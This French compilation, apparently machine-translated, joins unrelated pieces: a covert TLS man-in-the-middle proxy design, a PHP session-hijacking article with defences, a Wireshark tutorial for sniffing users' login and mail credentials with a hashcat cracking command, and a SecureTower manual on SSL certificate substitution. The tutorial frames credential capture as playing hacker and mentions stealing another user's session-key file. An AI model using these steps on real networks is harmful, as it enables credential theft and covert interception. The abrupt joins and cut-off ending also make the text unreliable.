    L'interaction avec l'application client se produit d'une manière légèrement différente. Une bibliothèque proxy prend le contrôle lorsqu'une application client appelle une fonction réseau. Si la fonction appelée a des arguments d'entrée, alors la bibliothèque middleware reçoit les valeurs de ces arguments. Ensuite, la bibliothèque intermédiaire « émule » le fonctionnement de cette fonction et, si la fonction a des arguments de sortie, alors la bibliothèque intermédiaire génère les valeurs de ces arguments. Cette logique s'applique à absolument toutes les fonctions interceptées, y compris les fonctions d'établissement d'une connexion, de transmission de données et de réception de réponses du serveur.

    La bibliothèque intermédiaire interagit simultanément avec l'application client et le serveur distant. La logique de fonctionnement dépend des actions réalisées par l'application client :

    1. L'établissement d'une nouvelle connexion réseau s'effectue comme suit :
    - l'application appelle la fonction système nécessaire ;
    - l'appel est transmis à la bibliothèque intermédiaire ;
    - la bibliothèque intermédiaire établit une connexion avec le serveur, et effectue de manière autonome toutes les actions prévues par le protocole SSL/TLS : vérification du certificat du serveur, envoi de son propre certificat, handshake, génération d'une clé privée, etc.
    - la bibliothèque intermédiaire rend le contrôle à l'application ;
    - l'application effectue toutes les actions nécessaires pour établir une connexion via le protocole SSL/TLS, appelant les fonctions de communication réseau. La bibliothèque de médiation intercepte tous ces appels, mais n'appelle pas le serveur réel, mais « répond » à l'application elle-même. Du point de vue de l'application, tout semble être une interaction avec un serveur réel (y compris une poignée de main et la génération d'une clé privée).
    À la suite de ces actions, la bibliothèque intermédiaire dispose à la fois de deux clés privées du protocole SSL/TLS. Une clé est utilisée pour interagir avec l'application, l'autre est utilisée pour interagir avec le serveur.

    2. Pour transférer des données vers le serveur, l'application appelle une fonction système. Les données déjà cryptées sont transmises à l'entrée de la fonction. La bibliothèque middleware intercepte cet appel et effectue les opérations suivantes :
    - décrypte les données transmises à l'aide de la clé privée reçue lors de l'établissement d'une connexion avec l'application ;
    - crypte les données reçues à l'aide de la clé privée reçue lors de l'établissement d'une connexion avec le serveur ;
    - envoie des données cryptées au serveur.

    3. La réception des données du serveur se produit de la même manière, mais dans ordre inverse. L'application appelle la fonction get data, et la bibliothèque middleware intercepte cet appel et effectue les opérations suivantes :
    - reçoit une partie des données du serveur ;
    - décrypte les données reçues à l'aide de la clé privée reçue lors de l'établissement d'une connexion avec le serveur ;
    - crypte les données reçues à l'aide de la clé privée reçue lors de l'établissement d'une connexion avec l'application ;
    - renvoie des données cryptées (ou une partie de celles-ci) grâce à la fonction.

    4. Lorsque la connexion est perdue, l'application appelle la fonction correspondante. La bibliothèque middleware intercepte cet appel, ferme la connexion au serveur, supprime ses structures internes et rend le contrôle à l'application.

    La mise en œuvre technique de la méthode proposée d'interception du trafic présente un certain nombre de difficultés. L'application peut utiliser diverses manières interaction réseau (mode bloquant et non bloquant, mode de fonctionnement asynchrone, etc.). Dans un système de surveillance à part entière, il est nécessaire de prendre en compte tous les scénarios possibles de comportement des applications. Sinon, le système de surveillance sera inopérant.

    Un problème plus grave est que la présence d'une bibliothèque intermédiaire peut être perceptible par un utilisateur expérimenté. La bibliothèque proxy « répond » à l'application au nom du serveur, mais utilise son propre certificat auto-signé. De nombreuses applications clientes (telles que les navigateurs Internet) fonctionnent correctement avec le certificat auto-signé du serveur, mais vous permettent toujours de le visualiser. Si l'utilisateur voit un certificat auto-signé qui n'a rien à voir avec le serveur réel, il peut alors suspecter la présence d'un intermédiaire.

    En général, la méthode proposée pour surveiller le trafic TLS/SSL est extrêmement efficace pour plusieurs raisons. Premièrement, la bibliothèque agit comme un intermédiaire à part entière entre l'application et le serveur. Il contrôle entièrement toute l’activité réseau de l’application et toutes les données envoyées/reçues. Deuxièmement, la mise en œuvre d'une bibliothèque intermédiaire ne nécessite pas d'importantes ressources système. Enfin, la présence d'une bibliothèque intermédiaire n'est perceptible que par un utilisateur expérimenté.

    Façons de pirater et de protéger votre session contre le vol

    La plupart des sites Internet sont ouverts aux influences extérieures des pirates informatiques. Même les projets Internet coûteux et à grande échelle sont piratés : ils laissent des traces ou volent la base de données. En conséquence, le propriétaire de la ressource en souffre, ainsi que les visiteurs.

    Pour éviter les problèmes de piratage, un certain nombre de mesures doivent être prises lors du développement. Certaines actions préventives doivent être menées lors de l’exploitation du site.

    Dans des articles précédents, j'ai montré comment les serveurs sont exécutés. Aujourd'hui, nous parlerons de l'interception et de la protection des sessions par les pirates.

    Séance de chantier

    PHP est probablement le langage de programmation côté serveur le plus courant pour les sites Web. En PHP, une session de site est démarrée à l'aide de la commande session_start(). Avant de commencer, vous pouvez spécifier des paramètres supplémentaires. La session stocke généralement des informations personnelles importantes sur l'utilisateur : login, nom, mot de passe,...

    Détournement de session

    Il existe 2 manières de stocker l'identifiant de session : dans les cookies et dans la barre d'adresse. La première option est plus fiable que la seconde, mais les deux sont piratables à un degré ou à un autre. Ce type de piratage est appelé détournement de session.

    Laissez l'identifiant être stocké dans l'URL du site. Un visiteur connecté, parcourant les pages de votre site, décide avec quelqu'un. Lors de la publication d'un lien, il donne le lien avec son identifiant de session. Si le site ne dispose pas de méthodes de sécurité supplémentaires, alors en cliquant sur un tel lien, le nouveau visiteur sera déjà connecté en tant que premier utilisateur, si la session n'est pas encore terminée. Faites ensuite ce que vous voulez sur le site dans les limites permises par le règlement.

    Avec les cookies, les choses sont plus compliquées, mais tout est aussi assez simple à intercepter. De nombreux sites ne filtrent pas les scripts du navigateur lorsque les utilisateurs publient des informations. Un attaquant potentiel place un tel script sur la page. Un visiteur connecté arrive sur la page... Le script lit la valeur du cookie ou la barre d'adresse et transmet l'identifiant de session à un autre site. Un autre site appartient à un hacker. Tout le reste est simple. Un cookie est falsifié ou l'adresse d'une page du site Web avec l'identifiant de session requis est saisie.

    Piratage de session

    Lorsqu'une session démarre, les fichiers de session sont créés dans un répertoire temporaire. Ces fichiers stockent des informations. S'il est utilisé, le dossier temporaire de stockage des sessions est généralement commun à tous les sites du serveur. Ensuite, les données de session sont lues d'une certaine manière par votre script. Pour ce faire, l'attaquant doit disposer d'un compte sur le même serveur. En conséquence, si une session stocke un mot de passe pour un site Web ou un numéro de carte bancaire avec un code CVV, alors tout cela informations utiles tombe entre les mains d'un attaquant.

    Protection contre le piratage des données de session
    • Stockez la session dans des cookies. C'est plus difficile à emporter.
    • Liez la session à l'adresse IP de l'ordinateur. Lors de la connexion à partir d'une adresse IP différente, une nouvelle session est créée en fonction des paramètres du script.
    • Liez la session à l'agent utilisateur du navigateur. Lors de la connexion depuis un autre navigateur, la session est réinitialisée.
    • Chiffrez les paramètres transmis à la session. Si un attaquant reçoit le fichier de session, il ne pourra pas le lire. Cependant, si vous possédez certaines compétences, il est également possible de déchiffrer la session.
    • Stocker les identifiants de session dans dossier séparé. En php, il existe une commande pour cela : session_save_path ($path_to_dir). Le même paramètre peut être spécifié dans le fichier php.ini. Le paramètre s'appelle session.save_path.
    • Utilisez session_set_save_handler() en php pour remplacer la façon dont la session est stockée. Et à partir de PHP 5.4, vous pouvez passer un objet de type SessionHandlerInterface à session_set_save_handler().

    De nombreux utilisateurs ne réalisent pas qu'en remplissant un identifiant et un mot de passe lors de leur inscription ou de leur connexion à une ressource Internet fermée et en appuyant sur ENTRÉE, ces données peuvent facilement être interceptées. Très souvent, ils sont transmis sur le réseau sous une forme non sécurisée. Par conséquent, si le site auquel vous essayez de vous connecter utilise le protocole HTTP, il est alors très simple de capturer ce trafic, de l'analyser à l'aide de Wireshark, puis d'utiliser des filtres et des programmes spéciaux pour trouver et déchiffrer le mot de passe.

    Le meilleur endroit pour intercepter les mots de passe est le cœur du réseau, où le trafic de tous les utilisateurs est dirigé vers des ressources fermées (par exemple, le courrier) ou devant le routeur pour accéder à Internet, lors de l'inscription sur des ressources externes. On installe un miroir et on est prêt à se sentir comme un hacker.

    Étape 1. Installez et lancez Wireshark pour capturer le trafic

    Parfois, pour ce faire, il suffit de sélectionner uniquement l'interface via laquelle nous envisageons de capturer le trafic et de cliquer sur le bouton Démarrer. Dans notre cas, nous capturons via un réseau sans fil.

    La capture du trafic a commencé.

    Étape 2. Filtrage du trafic POST capturé

    Nous ouvrons le navigateur et essayons de nous connecter à une ressource en utilisant un nom d'utilisateur et un mot de passe. Une fois le processus d'autorisation terminé et le site ouvert, nous arrêtons de capturer le trafic dans Wireshark. Ensuite, ouvrez l'analyseur de protocole et voyez un grand nombre de paquets. C'est là que la plupart des professionnels de l'informatique abandonnent parce qu'ils ne savent pas quoi faire ensuite. Mais nous connaissons et sommes intéressés par des packages spécifiques contenant Données POST, qui sont générés sur notre machine locale lorsque nous remplissons un formulaire à l'écran et envoyés à un serveur distant lorsque nous cliquons sur le bouton « Connexion » ou « Autorisation » du navigateur.

    Nous entrons un filtre spécial dans la fenêtre pour afficher les paquets capturés : http. demande. méthode == « POST »

    Et nous voyons, au lieu de milliers de packages, un seul contenant les données que nous recherchons.

    Étape 3. Recherchez le login et le mot de passe de l'utilisateur

    Faites un clic droit rapide et sélectionnez Suivre TCP Steam dans le menu


    Après cela, du texte apparaîtra dans une nouvelle fenêtre qui restaure le contenu de la page dans le code. Retrouvons les champs « mot de passe » et « utilisateur », qui correspondent au mot de passe et au nom d'utilisateur. Dans certains cas, les deux champs seront facilement lisibles et même pas cryptés, mais si nous essayons de capturer du trafic lors de l'accès à des ressources très connues telles que Mail.ru, Facebook, Vkontakte, etc., alors le mot de passe sera crypté :

    HTTP/1.1 302 trouvé

    Serveur : Apache/2.2.15 (CentOS)

    X-Powered-By : PHP/5.3.3

    P3P : CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

    Set-Cookie : mot de passe = ; expire = jeu. 7 novembre 2024 à 23:52:21 GMT ; chemin=/

    Emplacement : connecté.php

    Longueur du contenu : 0

    Connexion : fermer

    Type de contenu : texte/html ; jeu de caractères = UTF-8

    Ainsi, dans notre cas :

    Nom d'utilisateur : gourou du réseau

    Mot de passe:

    Étape 4. Déterminez le type de codage pour déchiffrer le mot de passe

    Par exemple, rendez-vous sur le site http://www.onlinehashcrack.com/hash-identification.php#res et saisissez notre mot de passe dans la fenêtre d'identification. On m'a donné une liste de protocoles d'encodage par ordre de priorité :

    Étape 5. Décryptage du mot de passe utilisateur

    A ce stade nous pouvons utiliser l'utilitaire hashcat :

    ~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

    En sortie nous avons reçu un mot de passe déchiffré : simplepassword

    Ainsi, avec l'aide de Wireshark, nous pouvons non seulement résoudre les problèmes de fonctionnement des applications et des services, mais également nous essayer en tant que pirate informatique, en interceptant les mots de passe que les utilisateurs saisissent dans les formulaires Web. Vous pouvez également trouver les mots de passe pour boîtes aux lettres les utilisateurs utilisant des filtres simples pour afficher :

    • Le protocole POP et le filtre ressemblent à ceci : pop.request.command == "USER" || pop.request.command == "PASS"
    • Le protocole et le filtre IMAP seront : imap.request contient "login"
    • Le protocole est SMTP et vous devrez saisir le filtre suivant : smtp.req.command == "AUTH"

    et des utilitaires plus sérieux pour décrypter le protocole de cryptage.

    Étape 6 : Que se passe-t-il si le trafic est crypté et utilise HTTPS ?

    Il existe plusieurs options pour répondre à cette question.

    Option 1. Connectez-vous lorsque la connexion entre l'utilisateur et le serveur est interrompue et capturez le trafic au moment où la connexion est établie (SSL Handshake). Lorsqu'une connexion est établie, la clé de session peut être interceptée.

    Option 2 : Vous pouvez décrypter le trafic HTTPS à l'aide du fichier journal des clés de session enregistré par Firefox ou Chrome. Pour ce faire, le navigateur doit être configuré pour écrire ces clés de cryptage dans un fichier journal (exemple basé sur Firefox) et vous devriez recevoir ce fichier journal. Essentiellement, vous devez voler le fichier de clé de session disque dur un autre utilisateur (ce qui est illégal). Eh bien, capturez le trafic et utilisez la clé résultante pour le déchiffrer.

    Clarification. Nous parlons du navigateur Web d’une personne dont elle essaie de voler le mot de passe. Si nous entendons décrypter notre propre trafic HTTPS et que nous voulons nous entraîner, alors cette stratégie fonctionnera. Si vous essayez de décrypter le trafic HTTPS d'autres utilisateurs sans accès à leurs ordinateurs, cela ne fonctionnera pas - c'est à la fois une question de cryptage et de confidentialité.

    Après avoir reçu les clés selon l'option 1 ou 2, vous devez les enregistrer dans WireShark :

  • Allez dans le menu Edition - Préférences - Protocoles - SSL.
  • Définissez l'indicateur « Réassembler les enregistrements SSL couvrant plusieurs segments TCP ».
  • « Liste des clés RSA » et cliquez sur Modifier.
  • Entrez les données dans tous les champs et écrivez le chemin dans le fichier avec la clé
  • Lorsqu'il est activé, l'agent Tout le trafic (chiffré et non chiffré) ou Chiffré uniquement utilise la technologie d'usurpation de certificat SSL pour garantir l'interception des données transmises dans les sessions Web protégées. Lors de l'établissement d'une connexion sécurisée avec un serveur, l'agent remplace le certificat du serveur d'origine par un certificat du même nom, mais émis par le certificat racine de l'agent. Le système vous permet d'utiliser à la fois un certificat préinstallé et un certificat créé par l'utilisateur avec autorité de signature comme certificat racine.

    Le système permet d'installer manuellement certains certificats de substitution lors de l'interception des sessions des serveurs correspondants (sites, programmes) en liant le certificat au serveur.

    Dans certains cas, l'utilisation d'un certificat non original peut rendre impossible l'établissement d'une connexion cryptée avec le serveur. Dans ce cas, il est nécessaire d'exclure les serveurs correspondants de l'interception, c'est-à-dire interdire la substitution de certificats SSL lors de la connexion à de tels serveurs. Cela restaurera la fonctionnalité de ces sites ou programmes, mais le trafic crypté correspondant ne sera pas intercepté.

    Pour configurer l'interception du trafic SSL :

  • Dans la fenêtre de l'onglet Profil des paramètres de l'agent, dans la zone d'édition du profil, sélectionnez l'onglet Contrôle du trafic réseau.
  • Cliquez sur le bouton Options d'interception SSL et suivez les recommandations du paragraphe actuel.
  • Sélection du mode de substitution du certificat SSL

    Dans la fenêtre des paramètres, sélectionnez un mode d'interception acceptable :

    • Pour que l'agent génère automatiquement un certificat SSL racine lorsqu'il est installé sur l'ordinateur de l'utilisateur, sélectionnez l'option Mode automatique. Le certificat racine généré sera placé dans la base de données de l'émetteur de certificat de confiance et sera automatiquement utilisé par l'agent pour émettre ultérieurement des certificats enfants signés par défaut avec le nom de l'émetteur Falcongaze SecureTower.

    Pour modifier le nom de l'émetteur du certificat qui apparaîtra dans les informations de sécurité de connexion, saisissez le nom souhaité dans le champ Nom du certificat SSL.

    • Pour utiliser un certificat SSL personnalisé comme certificat racine lors de l'interception du trafic chiffré, sélectionnez l'option Mode personnalisé. Le certificat utilisateur doit être préalablement généré et ajouté à la base de données du système. Pour spécifier un certificat à partir de la base de données système, sélectionnez son nom dans la liste déroulante Certificat utilisateur ou cliquez sur le bouton Certificats utilisateur pour ajouter des fichiers de certificat et de clé privée à la base de données système.

    Dans la fenêtre qui s'ouvre, cliquez sur le bouton Ajouter un certificat et spécifiez le certificat et les fichiers de clé en utilisant l'une des méthodes suivantes :

  • Pour générer un nouveau certificat, cliquez sur le bouton Générer un certificat. Dans la fenêtre qui s'ouvre, saisissez le nom du nouveau certificat, sa période de validité et indiquez les chemins où seront stockés les fichiers de certificat (*.cer) et la clé privée (*.pvk) nouvellement créés. Cliquez sur le bouton Générer.
  • Si vous souhaitez ajouter un certificat précédemment généré au format PFX, cliquez sur le bouton Convertir à partir du certificat PFX. Spécifiez le chemin et le mot de passe du fichier de certificat au format PFX, ainsi que le chemin d'accès aux fichiers de certificat (*.cer) et de clé privée (*.pvk) dans lesquels vous souhaitez convertir le fichier source. Cliquez sur le bouton Convertir pour terminer la conversion.
  • Cliquez sur Suivant dans la fenêtre Ajout de certificats utilisateur pour poursuivre la procédure d'ajout. Dans la fenêtre qui s'ouvre, saisissez un nom unique avec lequel le certificat ajouté sera signé, ainsi qu'un commentaire (facultatif).

    Cliquez sur Terminer pour terminer le processus. Le certificat sera ajouté à la base de données des certificats utilisateur du système SecureTower. Cliquez sur OK pour terminer l'ajout. Le certificat utilisateur ajouté sera automatiquement placé par l'agent dans la base de données des créateurs de confiance (si cela n'a pas été fait auparavant par l'administrateur réseau) et sera ensuite utilisé pour émettre des certificats enfants.

    Note.

    Lors de l'utilisation du mode utilisateur, il est recommandé à l'administrateur réseau de distribuer le certificat utilisateur à tous les ordinateurs du réseau à l'aide de politiques de groupe ou manuellement. Cela garantira que les certificats sont authentifiés avec succès. Sinon, le certificat sera automatiquement ajouté par l'agent au magasin de certificats de confiance.

    Lier un certificat SSL au serveur

    Pour déterminer la correspondance serveur-certificat, cliquez sur le bouton Liaisons de certificat et suivez les recommandations ci-dessous :

    • Pour lier un certificat racine à un serveur spécifique, sous l'onglet Certificats racines, cliquez sur le bouton Ajouter un certificat pour le site. Saisissez le nom d'hôte (nom de domaine) auquel les certificats enfants seront émis et auquel le certificat racine sera lié, dans le champ Nom d'hôte (adresse IP). Sélectionnez l'un des certificats racine préinstallés dans la liste déroulante du champ Certificat racine ou cliquez sur le bouton Certificats utilisateur pour ajouter et spécifier les fichiers de certificat et de clé privée sur l'ordinateur de l'utilisateur.
    • Pour lier un certificat existant à un serveur spécifique, sélectionnez l'onglet Certificats utilisateur. L'agent ne générera pas de nouveaux certificats enfants pour les serveurs spécifiés dans cet onglet, mais utilisera les certificats spécifiés par l'utilisateur pour les procédures de remplacement. Dans la fenêtre qui s'ouvre, dans le champ Nom d'hôte (adresse IP), saisissez le nom d'hôte (nom de domaine) auquel le certificat sera lié. Sélectionnez l'un des certificats dans la liste déroulante du champ Certificat : (si des certificats ont déjà été ajoutés précédemment) ou cliquez sur le bouton Certificats utilisateur pour sélectionner les certificats utilisateur dans la liste ou ajoutez et spécifiez les fichiers de certificat et de clé privée sur le site de l'utilisateur. ordinateur.

    Note.

    Pour remplir le champ Nom d'hôte (adresse IP), vous pouvez utiliser l'adresse IP de l'hôte, mais uniquement dans les cas où le nom d'hôte n'a pas été déterminé lors de la connexion et où seule l'adresse IP est connue.

    Exclure les serveurs de l'interception du trafic chiffré

    Pour gérer les exceptions du processus de substitution de certificat, cliquez sur le bouton Exceptions du serveur SSL.

    La fenêtre du gestionnaire d'exceptions affiche une liste de serveurs (hôtes) exclus du processus de substitution par défaut. Pour ajouter une nouvelle exception, cliquez sur le bouton Ajouter une exception.

    Dans le champ de saisie de la boîte de dialogue qui s'ouvre, saisissez le nom du serveur (hôte) (par exemple, comptes.google.com) en respectant la casse et cliquez sur le bouton Ajouter. Le système permet de saisir les noms à l'aide d'un masque (les symboles ? et * sont autorisés, par exemple l'utilisation de *.microsoft.* évitera de dupliquer les ressources Microsoft dans la liste d'exclusion) pour exclure les ressources d'une même famille. Le nom que vous avez saisi apparaîtra dans la liste d'exclusion.

    Ensuite, vous devez sélectionner un mode d'exclusion : Remplacer les certificats uniquement pour les serveurs SSL spécifiés ci-dessus, ou Remplacer les certificats SSL pour tous les serveurs, à l'exception de ceux spécifiés ci-dessus. Dans le premier cas, le système remplacera uniquement les certificats des serveurs répertoriés dans la liste d'exclusion (et pourra donc intercepter le trafic correspondant). Pour tous les autres, les certificats ne seront pas remplacés et l’interception du trafic crypté correspondant sera impossible. Dans le second cas, le système remplacera les certificats pour tous les serveurs à l'exception de ceux spécifiés dans la liste des exceptions.

    Pour effectuer d'autres opérations sauf exceptions, suivez les recommandations appropriées du paragraphe